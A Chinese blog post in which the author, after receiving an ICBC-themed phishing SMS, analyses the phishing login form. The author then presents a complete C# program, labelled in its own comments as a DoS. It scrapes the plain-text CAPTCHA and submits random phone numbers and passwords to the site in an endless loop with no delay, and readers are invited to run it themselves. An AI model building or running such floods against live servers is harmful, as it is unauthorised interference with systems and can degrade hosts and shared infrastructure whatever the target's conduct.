今天把騙子耍了一把


事由

下午收到一條短信,內容是“尊敬的用戶, 您的電子密碼器於次日失效!請盡快進入我行手機維護網站wap.95588bm.com更新!【工 行 】”,一看發件人是:+8618193326403,再加上本人也不用工行的銀行卡,很明顯的是騙人的短信嘛。

做過Web的人應該也清楚這個網站應該就是釣魚網站了。

好奇的打開網站看了看:

又看了下各個登陸鏈接的入口,發現都是一樣的,點開看看了:

隨便輸入了個手機號和密碼,填寫驗證碼,點登陸后:

是個模擬升級的頁面,騙人的。

本人向來痛恨這人騙人的行為,心想,我何不寫個小程序,向他提交隨機的手機號和假的密碼,讓程序不停的提交表單,干擾騙子,用來解恨。

開始動手——收集信息

從登陸頁面的html代碼入手,發現其驗證碼是純文本的,這樣的話驗證碼就好辦了,至少不用搞什么圖片驗證碼識別了:

使用Fiddler跟蹤提交的表單信息:

好了,到此我們已經知道了他的表達提交地址和方式了,由於這個網站對驗證碼做了服務端驗證,所以還需要提交正確的驗證碼。

分析開發步驟

  1. 首先要解決Http請求的問題,會用到Get請求和Post請求,這個簡單,可以用.Net自帶的HttpWebRequest搞定
  2. 需要從html代碼中獲取驗證碼,我使用了HtmlAgilityPack來提取(用它簡單方便)
  3. 生成隨機的手機號和密碼,這個也不麻煩,采用隨機數弄一下就行了
  4. 拼接post請求的信息,寫個死循環重復提交虛假信息,就可以了

主要代碼

核心的處理邏輯不算復雜,代碼量也不大,為了快速實現功能,直接寫到Main函數中了,代碼如下:

/// <summary>
/// Dos一個騙人的網址,向網址中提交隨機的手機號和密碼,干擾騙子網站
/// ^O^,讓你在作惡
/// </summary>
class Program
{
    static Random random = new Random();

    static void Main(string[] args)
    {
        string url = "http://wap.95588bm.com/cn/login.asp";
        IBrowser browser = new DefaultBrowser();
        HtmlDocument doc = new HtmlDocument();

        int count = 0;
        while (true)
        {
            try
            {
                string html = browser.GetResponseHtml(new Uri(url), HttpVerb.GET, null);
                doc.LoadHtml(html);
                // 獲取驗證碼,居然是純文本的,不過倒好,就不用圖片識別了
                string validCode = doc.DocumentNode.SelectSingleNode(".//td[@align='center']").InnerText;
                string data = String.Format("logonCardNum={0}&logonCardPsw={1}&netType=130&verimg={2}&mysub=",
                    RndNum(),                       // 手機號
                    random.Next(100000, 999999),    // 6位隨機密碼
                    validCode);                     // 驗證碼
                // post提交虛假數據
                var res = browser.GetResponseHtml(new Uri("http://wap.95588bm.com/cn/login.asp?action=checklogin"),
                    HttpVerb.POST, data);
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine(res);
            }
            catch (Exception ex)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine(ex.Message);
            }

            count++;
            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine("請求次數:" + count);
            //Thread.Sleep(random.Next(1000, 3000));
        }
        Console.ReadLine();
    }

    /// <summary>
    /// 隨機生成手機號
    /// </summary>
    /// <returns></returns>
    static string RndNum()
    {
        string result = "";
        string[] prefix = new string[] { "151", "186", "131", "156", "168", "166", "137", "138", "139", "133" };
        result += prefix[random.Next(10)];
        for (int i = 0; i < 8; i++)
        {
            result += random.Next(10).ToString();
        }
        return result;
    }
}

 

提交成功后,對方的服務器會返回如下html字符串:

1
<meta http-equiv="refresh" content="0;URL=tjchongzhi.asp?cname=15131988584">

 

這是將當前頁面刷新成自動顯示升級的頁面了,表示我們已經成功將隨機的手機號和密碼提交到對方服務器了。

程序運行效果如下:

程序運行結果

看着程序不停的提交虛假信息,心里那是個爽呀。

奉上源代碼,大家也玩玩


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM